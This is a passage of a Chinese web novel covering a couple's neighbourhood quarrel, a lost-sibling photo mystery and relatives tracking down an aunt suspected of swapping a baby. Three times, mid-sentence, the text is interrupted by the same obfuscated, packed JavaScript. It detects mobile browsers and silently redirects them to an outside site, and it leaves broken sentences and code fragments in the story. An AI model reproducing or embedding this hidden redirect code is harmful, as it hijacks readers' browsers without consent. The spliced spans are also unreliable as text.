虽然两口子都是新手,不过教学相长,很快就弄明白了延时拍摄的方法,架好相机,摁下键位,飞速跑到栏杆前摆好姿势,还不忘互相整理一下仪容,随后面对镜头,咔嚓,定格。 姚长安生怕一张拍不好,又来了几张,两人来来回回地跑,跟两个大傻帽一样,附近的游客看了,忍不住议论几声,两人也不在意。 玩累了,打道回府,路过金鹏,进去看了眼,新来的收银员叫小赵,白白胖胖的女孩子,像个大阿福,好可爱。 姚长安很想捏捏,忍住了。 从书店出来,她忍不住嘀咕:“我自己开书店的话,我也弄个咖啡区吧,方便小情侣约会,挺好的。” 温怀瑾笑道:“那你可得找个厉害的甜品师和咖啡师,不然留不住人。” “嗯。我还想加个手工区。”姚长安自己很喜欢做手工,尤其是心神不宁的时候,做做手工可以很快平静下来,这跟读书的氛围相得益彰,只要用几个屏风隔开就行了。 温怀瑾这方面没什么经验,但他支持老婆的一切决定,立马点头:“回头找几个手工作坊学习学习?” “好啊。”反正金陵城很大,犄角旮旯里的巷子有可能就藏着一家传世的老店,比如陶艺啊,雕刻啊,剪纸啊,都挺好的。 时间不早了,两口子开车回去,刚到楼下,就看到里三层外三层的,围着一大群吃瓜群众。 正好王婷在最外面,一眼便看到了他们两口子,赶紧招招手:“小姚你快过来。” 姚长安松开温怀瑾上前:“怎么了姐?里面有人在打架吗?” 王婷赶紧拉着她往旁边的花坛走去,踩在花坛的边石上,指着里头正在扯头花的两个女人:“看到没?打小三呢!旁边那两个是民警,劝不动,干脆让她们两个打个够。” 姚长安也算是开眼界了,她很好奇:“她们的男人呢?隐身了?” “那儿呢。”王婷指了指两个女人身后的一个角落,男人正躺在地上装死呢。 姚长安以为他受伤了,好奇道:“他也挨打了了?” “怎么可能,他是二楼的那个老邓,又高又壮的,哪个女人打得过他呀?他说他有高血压,不能激动,一激动就倒了,你看,装得跟真的一样。你说那两个女人傻不傻?” 傻,太傻了。像两个狒狒,为了一个没有担当的男人,丑态百出,任由别人围观评价,尊严全无。 真可怕,婚姻居然会让人变成疯婆娘,姚长安千万不要这样,她下意识看了眼温怀瑾。 温怀瑾也看了过来,眼中是宽慰的笑,好像在说,放心吧树懒老婆,你的大树,靠得住。 姚长安笑着回头,看向挤挤挨挨的人群,再这么下去,连单元门都进不去,姚长安只能打听详细一点:“他们都是做什么的?怎么发现有小三的?” 王婷便大致讲了下,那个男人叫邓肯,是建筑公司的一个设计员,有点小钱,老婆唐晶是小学老师,生了个女儿,邓肯不乐意,就跟建筑公司的前台李佳搞上了。 怀了孕,李佳逼宫,邓肯不想离,也怕唐晶闹事,一直编造借口,等到孩子快生了,拖不了了,李佳干脆找上门来,要赖在人家家里待产,不想唐晶是个暴脾气,立马跟李佳打了起来。 这小三还挺抗揍,到现在也没有动了胎气,可能是因为扯头发杀伤力太小了。 姚长安了解了情况,立马问道:“附近有唐晶的学生吗?” “有啊,隔壁三单元就有两个。”王婷在这边住了大半年了,又有个包打听的婆婆,对附近的情况门儿清。 姚长安有数了:“走,姐,咱们买点水果,找那学生家长帮忙。” 王婷脑子一转,明白了她的用意,很快,两个家长领着孩子过来了,张口就喊:“唐老师在家吗?我家雯雯想找你问几道题目。” 正在扯头花的女教师立马恢复了理智,赶紧松开了小三,整理好仪容,挤出一脸微笑:“唉,来了!” 小三一看,没了对手,立马捡起被扔出来的衣服,转身上楼去了。 围观的瞧着估计短时间内打不起来了,这才一步三回头地散了。 等人走了,姚长安才走上前去,劝道:“唐老师,消消气,有什么话咱们进去说。” 一旁的两个民警认识温怀瑾,他们早就注意到很他一起过来的姚长安了,见状客气地打了声招呼,年纪大的问道:“你是小温的爱人?” “对,她是我爱人。”温怀瑾笑着走过来,他今天穿的便装,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009105|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是刚搬过来的,附近的居民不怎么认识他。 唐晶倒是见过他的,之前学校里有孩子跳楼,他跟他同事一起出过现场,赶紧客气地打了声招呼。 可惜温怀瑾不认识她,毕竟学校里师生太多了,他是去查案子的,不可能一一打听周围的师生,顶多是把事发班级的和校领导认识一下。 他客气地点点头:“你好,学生是我爱人请过来的,她很热心,希望你不会觉得她多管闲事。” “不会不会,是我太冲动了,闹笑话了。”唐晶很是难为情,气头上不管不顾的,现在理智重新占领高地,她要脸的,想起刚才的闹剧,不免一阵后怕。 赶紧跟姚长安道谢,转身领着学生去家里讲题目去。 姚长安留在楼下,认识了一下两个民警,这个高高瘦瘦的叫丁志文,二十出头的小伙子,难怪不会劝架,旁边矮胖的叫宋前进,四十来岁了,这种鸡飞狗跳见多了,也懒得费劲,只要现场不至于动刀动枪,他就和稀泥。 两人客气非常,毕竟刑警还是有门槛儿的,而慕强是大多数人的本能。 寒暄完,正好看到王婷带着学生家长下来了,姚长安挥挥手跟两个民警告别,转身跟温怀瑾道:“我去劝劝唐老师,你先回去吧。” 温怀瑾不肯,万一动手了可不得了,他走过去,把地上装死的邓肯提起来,一起去了二楼,把人搡了进了二零一。 小三赖在人家家里,说话不方便,姚长安便跟王婷招呼唐晶在走廊里说话,先问唐晶想离还是想过? 见唐晶犹豫不决,姚长安只能劝道:“那你回去好好想想。那女人赖在这里,挨骂的是你男人和她,别人只会同情你。等到你想清楚了跟我们说,我和王婷姐会帮你想办法的。” “对啊,实在不行,你带着孩子回娘家。回头告你男人重婚罪!”王婷义愤填膺。 唐晶不肯:“不行,爸爸坐牢,会影响孩子政审的。” 无奈,两人只得劝她再想想,她们先回去了。 姚长安扭头一看,呦,她家大树还在电梯口等着呢,手里捧着今天新买的景点相关的书,认真得不得了。 她笑着牵着他的手走进电梯刷了卡,落后一步的王婷见了,忍不住笑道:“瞧你们如胶似漆的,真羡慕。” 姚长安笑着打听了一下王婷男人的情况。对方叫朱进,也是建筑公司的,跟唐晶男人是同行,都是搞设计的,她自己是搞广告策划的,两人工资都不低。 这会儿朱进还在加班,说是有个项目要赶。 电梯到了,两口子跟王婷告别,回到家里,好好冲了个澡,腻歪腻歪,准备睡觉。 睡前两人闲聊,说起老姚还有个儿子的事儿,温怀瑾不禁感慨:“这个大伯恐怕不好找,大轰炸时期的档案很少,好在他失散的时候是大孩子了,有记忆,说不定照着出生的日期找,真能找到。” 姚长安想想也对,可是上哪儿找呢? 温怀瑾有个渠道,他安慰道:“别急,回头我问问小宋。” “你同事吗?” “对,他姐夫在省档案馆,我让他帮忙问问。到时候可能要请人家吃顿饭。” “我明白,你约好了跟我说就行,我最近都有空。” “好。”温怀瑾拿来纸笔,“名字,生日。” 姚长安写道:姚大宝,一九三九年,十一月二十二。 温怀瑾把纸条收好,第二天便给小宋打了个电话,约好了晚上请他姐夫吃饭。 小宋的姐夫很好说话,立马应下。 反正档案馆资料室是边缘部门,活儿少,工资稳,喝茶喝到饱,有空就翻翻呗。 * 孙文斌回到研究所,把胶卷送去照相馆,洗了十几份。 他自己留一份,其他的都要寄回去给老家的亲戚。 要寄的太多了,他又忙,打算找个小研究员过来帮忙,反正年轻人干活儿利索。 正好姚长英过来送资料,他便把一本联络簿和厚厚的一沓照片都交给了姚长英。 姚长英没有在意,反正帮老资历的同志干活儿很正常。 等他回到自己的工位,拿起照片一看,愣住了。 43. 亲妹(二更) 姚长英怀疑他找到自己的亲妹妹了!照片上的新娘子挽着新郎的胳膊,双双举起酒杯,给宾客敬酒。 浅浅的酒窝在两腮晕开,那是幸福的涟漪;绚烂的星辰在眼中闪烁,那是雀跃的憧憬。 她一定找到了一个非常爱她的人,所以才会笑得这么灿烂,这么甜醉。 太甜太甜,以至于非常罕见,姚长英长这么大,只在大姐的脸上看到过。 那天大姐结婚,挽着姐夫的胳膊时,便是这般恩爱缱绻的模样。 而照片上的新娘,笑起来的时候竟然真有几分大姐的影子。 他几乎没有犹豫,立马冲到孙文斌的办公室,想要问问新娘字的名字,可惜孙文斌在接电话,摆了摆手,让他稍等,他只能出去了。 刚坐下没一会儿,便看到负责电控系统的李工冲进了孙文斌的办公室,两个人不知道在商量什么,很快便一起拿着文件包出来了。 路过姚长英的工位,孙文斌直接丢了一百块在他桌子上:“小姚啊,H大的合作项目出了点问题,我赶时间,照片你按照我圈起来的地址帮我寄了,找零不用给我了。” 姚长英话到嘴边还没来得及问,就看到孙文斌跟李工一阵风似的冲了出去,两个四十来岁的中年人了,精力还是那么充沛,不佩服不行。 两人一路小跑,还不忘探讨了一下可能出现的问题,姚长英就算追过去,也没办法插嘴,还要被所里的同事骂他没有眼力见儿。 只得憋着一肚子的话,盯着手里的照片,陷入了沉思。 也许答案就在那些地址里?他赶紧翻开联络簿,被圈起来的名字有十几个,其中大多数都姓刘,还有三个姓姚,因为是分开圈的,估计都要单独寄一份,而最后有两个姓穆的圈在了一起,有三个姓温的圈在了一起,看起来这两家都只要寄一份就行了。 他数了数手里的照片数量,对的,只有两个姓穆的合一份,三个姓温的合一份才够,要不然就少四份。 照片挺多,一共十几套,一套三张,分别是新娘新郎敬酒、新娘新郎交换戒指、新娘新郎跟双方家人的合照。 其中只有敬酒的那张没有拍进去周围的宾客;交换戒指的那张则拍进去了旁边的几个亲友,其中有个穿军装的男人离得最近,大半张侧脸都在照片左下角,跟新娘子居然长得有几分相似,难道这才是新娘子的亲哥? 还是说……这是他和新娘子共同的兄弟?可是看年纪,好像跟他差不多大。 这不对啊,根据钢铁厂档案室的记录,姚远征跟华卫萍生的分别是儿子,女儿,女儿,儿子,女儿。 跟姚长英年龄最接近的都是女孩子,一个姐姐,一个妹妹。大哥如果在世的话,今年已经三十几岁了,明显不可能是照片上这个。 难道搞错了?新娘子跟大姐只是长得像而已?只是巧合?没看到女方哥哥已经坐在那儿了吗? 姚长英怅然若失,看向了第三张照片,这一看更是心凉了半截。 照片上一共十个人,居中站着新娘新郎,新娘左边的中年夫妻应该是她的父母,中年夫妻旁边站着那个跟新娘长得差不多的军人,最边上的老头子穿着军装,应该是爷爷或者姥爷。 而新郎的右边站着的明显是他爸爸,父子俩的眉眼很像,面部轮廓不太一样,但还是可以看出来是亲父子。爸爸右边是个年轻的女孩子,姚长英在电视上见过,是个小明星,拍过几部电视剧,都是配角,戏份最多的是一部武侠片里的女三号,因为没什么名气,他也没有留意过这个小明星叫什么。看她跟中年男人的亲昵姿势,她应该是新郎的妹妹? 小明星再往右,则是另一个年轻的军人,难道是男方的兄弟?跟新郎不像,是因为像妈?军人边上站着一个老太太,估计是新郎的奶奶或者姥姥。 奇怪,男方居然是单亲家庭吗?妈妈死了?那这个新娘还挺倒霉的,以后要是有了孩子,婆家是帮不上什么忙了,只能指望娘家妈妈搭把手。 偏偏娘家还有个兄弟,一旦结了婚,新娘的妈就不见得是她的妈了,这是很多多子女家庭的通病,姑嫂矛盾也都是从妈妈争夺战产生的。 姚长英盯着这张合照,非常难受,他的心情就像过山车,看到第一张双人照的时候,天知道他有多惊喜,没想到第二张便给了他一盆凉水,让他开始怀疑自己是不是想多了,到了第三张,不用怀疑,就是他想多了。 新娘子分明就是有兄弟的,根本不是他失散的妹妹。 他好难过,直到他翻开联络簿,看到了三个字:姚长安。 姚长安?姚长安?姚长安!!! 可是照片上的哪一个才是姚长安?他不知道!毕竟这个名字很中性,男女都能用啊! 但是他知道,这个名字并不算大众,如果照片只是巧合,那么名字呢? 难道这是双方的哪个亲友?可惜照片上找不到更多的答案。 他只能叹了口气,从抽屉里拿出一沓没用过的信封,一封一封誊抄姓名地址和邮编。 其中有三个姓姚的,分别在建设兵团、金陵和栖梧县。 看起来是一家子,却分在了三个不同的地址,难道是祖孙三代? 照片上两边都有符合祖孙三代的人选,他根本没办法对应。 那三个圈在一起的姓温的倒不像祖孙三代,温怀瑾跟温佑琪看起来是同辈,温定方是长辈或者晚辈,照片上找不到符合条件的,毕竟女方那边的兄弟穿着军装,就算他不需要单独寄一份,那么新娘也该单独留一份,这么一来,就算排除掉不同姓的妈妈正好是三个人,那也至少也需要两份,而不是一份。 至于男方那边,更不符合了,男方那边三个同龄人,其中一个也穿了军装,如果他也不需要单独寄一份,那么新郎难道不需要单独留一份吗? 哎,不对,如果新郎新娘合起来只要一份呢? 等等,先把这三个穿军装的拎出来,奇怪,居然有只有两个部队的地址,分别是姚保华,建设兵团,刘行俊,海军某部。 另外一个军人不需要单独寄一份?看来他果然是新娘的哥哥。 加入这个补充条件的话,女方那边只要一份是合适的,那么女方兄妹应该就是温怀瑾,温佑琪,女方爸爸是温定方,因为跟妈妈共要一份,所以不需要再单独寄了。 这么一来,男方叫姚长安?那男方为什么要三份呢?自己跟新娘一份?爸爸一份,兄弟妹妹共要一份?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011627|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>也是合理的。 完了,他推理了大半天,居然推出了一个自己完全不想看到的结果。 不管了,先找个照相馆,把这三张照片拍下来,拿回去给姐姐们看看,听听她们怎么说。 姚长英赶紧把东西锁进抽屉里,只拿了一套照片去了照相馆,交了钱,一个礼拜后才能拿到,正好到时候回去给妈妈过生日。 回来赶紧帮忙把照片寄了出去,至于孙工的联络簿,暂时归还不了,办公室锁了。 姚长英鬼使神差的,还是把这些人的姓名和地址抄了下来。 他的心中总是有个声音在说:万一呢,记下来吧。 就算不是亲妹妹,说不定也是什么亲戚,姐姐不是说了吗,姥姥姥爷生了太多女儿,送走好几个呢。 * 穆从意收到婚礼摄影师拍摄的照片后给穆承恩打了个电话:“照片你真不要啊?” “不要。”穆承恩目前对自己的定位是姚长安的表哥,既然是表哥,那就要避嫌,照片让大姐拿着就好了。 穆从意哭笑不得:“你就算要一份也没事,咱家还有大伯家的照片呢。” 其中也有堂兄弟堂姐妹的,没必要避嫌。 穆承恩坚持:“那不一样,那知道是亲戚,这个还不确定,只是我自己一厢情愿。万一不是呢?我保留人家的照片做什么?男方心里会不舒服的。” “你说温怀瑾啊?不会的,他还问我你怎么不要照片。”穆从意对温怀瑾的印象很好,她觉得他不是那种人。 穆承恩不为所动:“那你留着就行了,回头孙工的收到了就不用问我了,我不要,避嫌。” “好吧。也不知道咱们自己的妹妹在哪里。这么多年了,一点线索都没有。” “慢慢找吧,科学在进步,技术越来越先进,总有一天会有惊喜的。” “对了承恩,长安辞职了,她要自己开店。” “嗯,她跟我说过这个计划,挺好的,她要是有不懂的,你多帮帮她。” “你不怕她跟你姐抢生意啊?” “不会,她又不是傻子,怎么可能跟你开在一起呢?” “嗯,听说她准备开在大学附近。” “N大吧?” “还没定下来。这几天她在到处逛书店呢,我给她推荐了几个海城的,她说有空去看看。” “姐你真好,有你这么帮她,我也就放心了。她那个婆婆太不是东西了,结婚都不来。” “可不是吗?我就没见过这种做婆婆的,又不是死了,真恶心。” “这种偏心的长辈,早晚遭报应的,姐你劝劝长安,以后她婆婆如果倒霉了找她帮忙,千万别理。” “嗯,放心吧。”挂断电话,穆从意不禁感慨,还好长安的爸爸妈妈挺好的,要不然,这婚结的真煞风景。 正在首都的许冬琴,忍不住连着打了好几个喷嚏。 忙前忙后地伺候老二媳妇坐了个空月子,可把她累坏了。 正准备去空调房歇歇,便听到家里座机响了,拿起话筒,那头操着一口奇怪的方言,磨叽了半天,对方才用蹩脚的普通话说:“你跟向东说一声,他姑姑的事情我知道。” 44. 事发1 温怀瑾的爸妈同床异梦好几年了,两个人各忙各的,在很多事情上都不再沟通合作。 就比如温怀瑾的婚事,温定方是等到一切准备妥当才开的口,再比如温枕瑜跟卢小晓的事,许冬琴一直没有告诉他,还是他亲妈觉得一直藏下去不好,才通知了温定方,一旦生产的时候出个好歹,温家没办法跟卢家交代的。 所以老太太希望温定方请卢家过来一个人,只要签字的时候有人在就行,钱全部由温家出。 只是老太太没想到,卢家根本不管这个孩子,这才因为同情,亲自照顾,无微不至,出了月子,老太太就走了。 毕竟她还有个小儿子,前些年工作调动去了南方,那边也离不开她。 无奈,许冬琴只好自掏腰包,托老家亲戚找了个保姆照顾卢小晓,好在陆家完全不知情,如今卢小晓跟温枕瑜又不在一个地方待着,只要两人不在首都见面,一切都好说。 而她自己,为了弥补痛失孩子的老二媳妇,那叫一个亲力亲为,恨不得给陆祯愉当牛做马。 好不容易出了月子,陆祯愉却又患上了抑郁症,无奈,做婆婆的只得小心翼翼地伺候着,想去看看卢小晓和孩子都没空。 这日子也不知道什么时候才是个头,她都快绝望了,没想到接到了一通神秘兮兮的电话,听那意思,好像涉及一个天大的秘密。 可惜对方不肯告诉她,只让她记了个号码,便挂了。 许冬琴愣在客厅里,想了想,还是给温定方去了个电话:“喂,婚礼上陆向东有没有给你脸色看?” 温定方完全不想理她,所以他压根没有跟她提起姚家跟陆家的恩怨,至于他妈和小女儿,他也都三令五申,不准掺和。 他听见她的声音直接挂了电话。 许冬琴无奈,只好又打了过去:“一把年纪的人了,别这么幼稚,我跟你说事呢。” 温定方不禁冷笑:“先照照镜子再说别人吧。” 幼稚的难道不是你?大儿子就结这一次婚,你都不来。这种话温定方已经说过好几次了,婚礼之前,他反复打电话确认,他给过她机会了,可她的回答,总是一成不变。 既然这样,那还有什么好说的?不如离了算了。 温定方的心中不止一次冒出这个念头,只可惜两个人分隔两地,生意又忙,他便暂时没有提出来。 现在许冬琴居然好意思说他幼稚,真是可笑至极。 许冬琴懒得跟他辩论,问道:“说正事,陆向东有没有给你脸色看?” “没有。” “没有吗?怪了,那他回来怎么还是对我那个态度?” “你难道心里没数?” “哎,他家亲戚刚刚打了个电话过来,神秘兮兮的,听起来像是有什么不得了的大秘密。你帮我打听打听?” “怎么,你想用这件事拿捏人家?” “我哪敢拿捏他呀,人家再怎么说是个处长。不过呢,一旦我手里攥着他的秘密,我就不用赔笑脸了。” 温定方无语了:“赔笑脸?果然是给人家为奴为婢去了。放着好好的日子不过,非要去人家做下等人,你的清高呢?你的傲气呢?” 许冬琴无奈:“还不是为了枕瑜,你说他盼了一年的儿子,到头来没了,岳父一家又给他脸色看,我要是不帮他处理好大后方,他还怎么工作怎么做事?” “哦,你二儿子是人,大儿子不是人。”温定方啪的一声挂了电话,懒得浪费口舌。 许冬琴再打就是忙音了,又不好直接找陆向东打听,只得去卧室找老二媳妇探探口风:“祯愉啊,你是不是有个姑奶奶啊?” 陆祯愉抑郁了,整天躺在床上,痴痴地看着天花板,听到婆婆说话也不搭理。 许冬琴一连问了好几声都没有回应,无奈,只好打给了温怀瑾:“你爸爸不理我,你记下这个号码,看区号是姑苏的,你看看有没有那边的同学,查查这家叫什么。” 温怀瑾也不想理她,连妈都没叫,正准备挂电话,便听那头说道:“一定要查,这是陆向东亲戚留下的号码,说什么知道他姑妈的事情,让陆向东给她回个电话。你查清楚了跟我说一声,我就不信我找不出来陆家的秘密,看他们到时候还怎么气我。” 温怀瑾全程没说话,直接挂了电话,本来不想搭理他这个亲妈,不过,这个号码好像还有点价值。 姑苏离得不远,正好他准备陪他老婆去海城看看那边的书店,两个城市紧挨着,顺路。 挂了电话,他把号码拿给了姚长安:“我妈给的,说这个人知道陆向东姑妈的事情。” 是我妈,不是咱妈,毕竟他亲妈没来婚礼,他不好意思让姚长安叫妈。 姚长安很不喜欢她的婆婆,可是这个线索很重要,哪怕婆婆是无心插柳,她也愿意给婆婆负无穷的印象分里加上一分。 不过一加负无穷,还是负无穷。 她赶紧打了个电话给自己爸妈,姚良远听说她得到了重要的线索,很是激动,约好了明天一起去姑苏。 第二天出发,姚长安直接坐在了副驾驶,温怀瑾的车大,座椅比她的车舒服,开他的车。 姚良远那边离姑苏更近些,提前三个小时就到了,他给查号台打了个电话,没想到这号码居然是一个乡镇供销社的。 这年头市场经济高速发展,城市里的供销社已经不那么受欢迎了,取而代之的是一个个商场、超市、百货商店。 也只有乡镇供销社还保留了主导地位,这种单位的员工普遍比较傲气,不爱搭理人,两口子准备提前过去看看,要不然,依着闺女那个臭脾气,一旦挨了白眼,肯定得炸膛。 为了方便联系,刘克信也买了部大哥大,赶紧打给女儿说一声,见面地点在某个乡镇的供销社。 路过银行的时候,刘克信赶紧让姚良远停车,取点现金再走,万一对方不肯开口,那就用钱砸开他的嘴巴。 到了地方,打听了一圈,供销社里并没有陆家的什么亲戚。 不过路对面住了个老太太,叮嘱过售货员,要是有人打电话找陆家亲戚,就找她。于是售货员伸手比了个要钱的姿势,刘克信正准备拿钱,便看到一个面容枯槁的老太太走过来,打电话。 两口子没有多想,去旁边商量到底给多少合适。 耳边传来老太太蹩脚的普通话:“怎么又是你?陆向东呢?” 那头的许冬琴赶紧赔笑脸:“阿姨,向东去下面视察工作了,要明天才能回来。你跟我说也是一样的。” 老太太很不高兴,啪的一下挂了电话。 结了账回头的时候,却看到一对中年夫妻满怀惊喜地看着她,她没理,翻了个白眼就想走。 刘克信赶紧挽住她的胳膊:“阿姨,你刚刚说你找陆向东啊?” “关你什么事?”老太太很不客气。 刘克信赶紧赔笑脸:“阿姨,我跟他是亲戚。他没空,让我们过来一趟,有什么话跟我们说也是一样的。” 老太太狐疑地看着她:“他怎么知道我住在这里?” “查号台查的。”刘克信赶紧给了姚良远一个眼神暗示,两口子一左一右,请老太太去车上说。 老太太满是敌意,坐下便问:“你们是陆家的人?” “不是的阿姨,我们的亲家公有两个儿子,另一个是陆家的女婿,就是这么个关系。”刘克信不知道她的敌意来自哪里,赶紧澄清身份。 老太太还是充满敌意,好像一切跟陆家有关的都是她的仇人。 无奈,刘克信只得讲明两家的恩怨。 夺父之仇,那可真是血海深仇了,敌人的敌人就是朋友,老太太终于有了几分好脸色:“早说啊,我最烦陆妙春那个贱人了!” 两人赶紧洗耳恭听。 原来陆妙春是兰花市的,上卫校的时候喜欢上了诗歌,迷恋上了作者,正好那个诗人跟她表哥表嫂在一个地方,她便瞒着家里,跑来这里找那个诗人,偏偏那个诗人是个有家有室的,没想到她真的会过来,只得给了她一笔钱,让她赶紧走。 她不肯走,赖在她表哥家里,她表嫂瞧着这么下去也不是办法,便打算给她介绍个对象,让她就在这里成家得了。 然而找对象并不是一朝一夕的事情,她表嫂本着对她负责的态度,准备好好挑个靠谱的。 她的表嫂在缫丝厂上班,跟老太太是同事,老太太是双职工家庭,生了孩子没人帮,陆妙春的表嫂想着陆妙春闲着也是闲着,又是卫校的,照顾孩子应该得心应手,便把陆妙春介绍给了老太太。 谁想到,没多久,陆妙春就跟老太太的男人被捉奸在床。 “东窗事发,那个贱人不好再跟我男人来往,就勾搭了供销社的主任,可是人家供销社的主任也有家庭,后来被他老婆发现了,闹着要杀了她,惊动了民兵,闹得沸沸扬扬的。她没办法在这里待下去,只好拿了一笔钱夹着尾巴走了,听说回了西北老家。”老太太说着嘀咕道,“不要脸的贱人,没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014234|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到她居然去了兵团,傍上了一个军人,想想都替那个男人作呕!” 刘克信听罢,很是恶心,问了下陆妙春离开的时间,居然也是那年夏天,而省里去西北的火车,必定都要向北并入彭城这条线再向西。 “看来她就是那时候碰到咱妈的。”刘克信心疼地握住了姚良远的手,“你别急,后面的事情咱们慢慢想办法打听。” 老太太补充道:“对了,那个贱人走的时候怀孕了,你不是说她给你婆婆接生后送了个孩子过去吗?搞不好是她自己的哦。” “是的阿姨,我公公做过亲子鉴定了,那孩子不是他的。”刘克信默默叹气,“阿姨,她那个表嫂还在吗?也许知道点什么。” “死了,供销社主任的老婆可不好惹,去她表嫂家闹事,害她表嫂丢了工作,没两年就气死了。”老太太很是感慨,“不过她表哥还在,我带你们过去?” “好。”刘克信赶紧给女儿打了个电话,让她在供销社门口等着就行。 到了陆妙春表哥家里,夫妻俩得到了几个关键信息。 第一,那时候从省内去兵团没有直达的火车,必须在兰花市转车,如果陆妙春真的把人藏起来了,去兰花市的可能性最大,那是她的老家,又有亲戚朋友帮忙,想让一个人消失,易如反掌。 第二,陆妙春并没有完成她在卫校的学业,医生身份是假的,其实她只是个没有毕业证的小护士,她在兵团那边肯定拿不出什么合法证明,如果有,说明她造假了,可以抓住这一点往上查,查那些帮她打掩护的人,让他们全部付出代价。 两口子感激不已,送了三千块给老爷子做谢礼,出来的时候,又送了五千给老阿姨,希望她保密,别提他们来过的事。 老阿姨犹豫了片刻,还是收下了:“你们放心,我也在帮忙打听,有什么新消息我给你们打电话。” 姚良远把号码写给她,连声道谢。 刚上车,女儿女婿来了,赶紧下车,介绍老太太给小两口认识。 离开的时候,姚长安满心愤懑,没想到陆向东的姑妈居然这么恶心,真是气死人了。 爸爸的仇恨就是她的仇恨,她不会就这么算了的。 两代人回城里吃了顿饭,姚良远跟刘克信便走了,陆妙春的表哥给了他们一个地址,这事宜早不宜迟,他们准备直接开车去兰花市调查,这样方便一点,省得到处等不到车。 正好可以路过孙文斌那里,给他带点家里的土产,人家特地过来参加了婚礼,他们总得表示表示。 而姚长安则跟温怀瑾去了海城,转了转穆从意推荐的几个书店,记下各家的特色和长处,回去好好整理一下,规划好自己书店的定位再说。 * 陆向东视察回来,赶紧回了个电话,老太太答应了要保密,便没提姚家人来过的事情。 挂断电话,陆向东陷入了沉思,看来他姑妈是把别人的孩子替换掉了,正好两个人的孕期差不多,也不知道人家的亲生孩子还在不在。 正准备给老家那边去个电话催催,温枕瑜下班回来了,看到他热情地喊了声爸爸。 陆向东前几天收到了一张照片,碍于女儿得了抑郁症,他一直没有发作,现在看到这个女婿就来气,他理都没理,直接起身去了书房,连那记着号码的纸条都没拿。 温枕瑜坐下整理文件的时候,一眼便看到了那个号码,一看区号,不禁警铃大作。 他赶紧去书房,门没敲就进去了:“爸,你在我哥婚礼上遇到什么人了吗?” 陆向东蹙眉,不满地呵斥道:“出去,没规矩的东西!” 温枕瑜不知道他发的哪门子邪火,深吸一口气,退出去敲了敲门,里面没有回应,他只好拿着纸条回到茶几那边,拨了个电话过去。 老太太拿人钱财自然要忠人之事,只说是陆向东打听陆妙春的往事,没提姚家的人。 温枕瑜还是觉得不对劲,难不成事情又要失控了?是兵团那边出了意外?这不可能啊,原文里老姚到死都不知道替别人养了儿子啊。 总不能是他老丈人也邀请了老姚去婚礼吧?那完了!他挂了电话,再次敲响了老丈人书房的门。 传来的却是一声中气十足的滚。 温枕瑜气不过,直接推开书房门:“爸,我不知道我哪里做错了,让你生这么大的气。” 陆向东冷哼一声,打开抽屉,拿了张照片,拍在了桌子上。 温枕瑜走近一看,石化在了原地。 45. 事发2(二更) 温枕瑜明明已经很小心了,没想到还是被人抓拍到了饭局上应酬的照片。 不过他可以解释,他快速调整好心情,辩解道:“爸,你也知道,城西那块地竞争激烈,一直拿不下来,我是不得已,才约了邓总一起唱K,没想到他带了几个女人过来,我也不好驳斥他的面子,只是逢场作戏,让这女人坐在我腿上喂了两口酒,别的什么事都没有。” 陆向东不是傻子,这种应酬会发生什么,他的心里明镜一样的,他冷冷地看着温枕瑜,警告道:“我不管你做了什么,自己跟阿愉说去,如果她愿意原谅你,一切好说,如果她不愿意,你们就离婚。” “爸!”温枕瑜赶紧求情,“爸我知道你生气,也确实是我没有保持好距离,可是爸你想想,孩子的事对阿愉的打击太大了,如果再拿这样的事情刺激她,我不敢想象她会做出什么傻事来。” 这话没错,要不是考虑到这个,陆向东早就让女儿踹了这个赘婿了。 不过,态度他还是要拿出来的,总得让温枕瑜吃吃苦头才行,所以他的脸色还是寒若冰霜,也不肯开口。 温枕瑜没辙,只好噗通一声跪下了:“爸!爸我求你了,我很爱阿愉,这辈子只爱她一个,我不希望她出事。” “男儿膝下有黄金,你这种随便下跪的人,我是不会相信的。”陆向东看到他认错,心里虽然欣慰,态度却依旧强硬,说话很不客气。 温枕瑜无奈,只好问道:“爸你要我怎么做才肯相信我?” “你把那一千万写个借条吧。”陆向东不想废话,干脆从经济上制裁,“你别以为我不知道,阿愉小叔给她的一千万都被你拿走投资了,不然你这公司开不起来的。一开始我想着,你们都有孩子了,一家人就不说两家话了,可你看看你干的好事!你给阿愉小叔写个借条,只要你以后老老实实的,等我死的那天,我会让阿愉小叔把借条烧了。你要是再犯,那你就跟阿愉离婚,还钱!” 温枕瑜这下是真的怕了,到手的肥肉,他哪里舍得再吐出去,只得打感情牌:“爸,看来你是一点都不相信我了,我很伤心。” 